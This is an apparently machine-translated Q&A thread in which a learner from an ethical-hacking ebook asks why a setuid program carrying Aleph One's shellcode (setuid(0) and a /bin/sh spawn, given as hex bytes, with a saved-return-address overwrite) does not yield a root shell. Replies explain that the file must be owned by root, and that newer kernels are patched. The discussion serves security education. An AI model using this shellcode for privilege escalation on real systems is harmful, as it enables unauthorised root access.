2010-05-07 4 views
1

Я следую этой EBook об этическом взломе, и я дошел до Linux Exploit Chapter, это код с кодом Алефа 1.У меня есть этот код .... Этический взлом

//shellcode.c 

char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref. 

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first 

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 

"\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

int main() { //main function 

    int *ret; //ret pointer for manipulating saved return. 

    ret = (int *)&ret + 2; //setret to point to the saved return 

    //value on the stack. 

    (*ret) = (int)shellcode; //change the saved return value to the 

    //address of the shellcode, so it executes. 

} 

Я даю это супер привилегии пользователя, с

chmod u+s shellcode 

как супер-пользователь, а затем вернуться к обычному пользователю с

su - normal_user 

, но когда я бегу ./shellcode я должен быть пользователь root, но вместо этого я по-прежнему являюсь normal_user , так что любая помощь ?? btw Я работаю над BT4-Final, я отключил ASLR и запускаю BT4 в VMWare ...

+0

так как вы прописали все остальное, но я не вижу его, вы скомпилировали код правильно? Что вы используете для ОС/версии? Есть ли у вас скомпилированный результат, который видит normal_user (на его пути)? – curtisk

+0

У вас есть ядро, построенное с помощью стека без выполнения или любых других важных функций безопасности? – oscode

+0

@Steven: я бы предположил, что BT имеет это значение по умолчанию ... или это будет наоборот? –

ответ

7

Является ли shellcode исполняемым файлом, принадлежащим root? Биты setuid (u + s) делают исполняемый файл с привилегиями его владельцем, который не обязательно является root.

+3

Я думаю, что все дело в том, что код оболочки выполняется не-привилегированным пользователем и * получает * корень. –

+4

Да, это правда. Суть этой демонстрации в том, что недостаток в исполняемом файле, который является root setuid, может быть использован обычным пользователем для получения root. Тем не менее исполняемый файл должен быть * владельцем * от root, чтобы это работало. Если бы можно было получить root таким образом, чтобы исполняемый файл не принадлежал root, тогда всякая система в мире мгновенно могла бы быть захвачена любым, кто имеет доступ к компилятору. –

+0

Делает смысл. Я убираю свой комментарий (но я оставлю его для записи) :) –

0

Ну, setuid() изменяет пользователя на текущую программу. Ваша оболочка будет работать под вашим обычным пользователем! :)

Либо это, либо я не понимаю эту цель взлома.

0

I setuid только устанавливает uid на 0 во время работы программы. Можете ли вы выполнить некоторую операцию по проверке UID во время работы шеллкода?

+0

Шеллкод, как следует из названия, предназначен для того, чтобы вы попали в привилегированную оболочку, поэтому вы можете проверить свой uid из командной строки, если он сработает. – oscode

+0

Я попробовал whoami и еще normal_user – 0xab3d

9

Если это старый эксплойт ... Разве это уже давно не было исправлено?

Кстати, как личный совет: не будьте настолько хромым, чтобы использовать это прозвище, а затем обойти вопрос об эксплойтах.

facepalm

+1

Что? Вы хотите сказать, что Карл М. Итник не может задавать вопросы здесь? – curtisk

+1

@curtisk Я думал, что его зовут Конрад, учился в Массачусетском технологическом институте, и это был его * ник * ... xD – fortran

+0

+1 для facepalm –

0

Если я правильно, код, который вы выполняете (УИП (0)) представляет собой системный вызов, который изменяет текущий пользователь к корню. Уловка заключается в том, что он меняет текущий идентификатор пользователя на этот процесс, предоставляя ему полномочия root. Если он работает, вы можете запускать все с привилегиями root.

Чтобы проверить это, создайте файл или каталог с корнем, убедитесь, что вы не можете удалить его как простой пользователь, а затем попробуйте добавить код в исполняемый файл, который удаляет файл. Если код работает, файл следует удалить.

Затем, чтобы получить корневые ресурсы, попробуйте развить новую оболочку из вашей программы. Хотя я не уверен, что это возможно.

... однако, это старый подвиг. Старые ядра могут быть открыты для этого, но использование любой недавней версии ничего не сделает.

UPDATE: Я только что перечитал код и понял, что вызов оболочки есть (/ bin/sh), поэтому вы уже открываете для предполагаемой оболочки суперпользователя. Чтобы проверить, действительно ли он работает, см. PID вашей оболочки до и после вызова. Если он изменился, выйдите из оболочки, вы должны вернуться к предыдущему PID. Это означает, что (1) это сработало, вы манипулировали стеком и выполняли этот код там, и (2) эксплойт исправлен, и ядро ​​не позволяет вам получить доступ.

+0

Код выводит вас в корневую оболочку, нет необходимости добавлять какой-либо свой собственный код. – oscode

+0

@Steven: избили меня до него. Сначала я пропустил код, но добавил текст об этом ... –

Смежные вопросы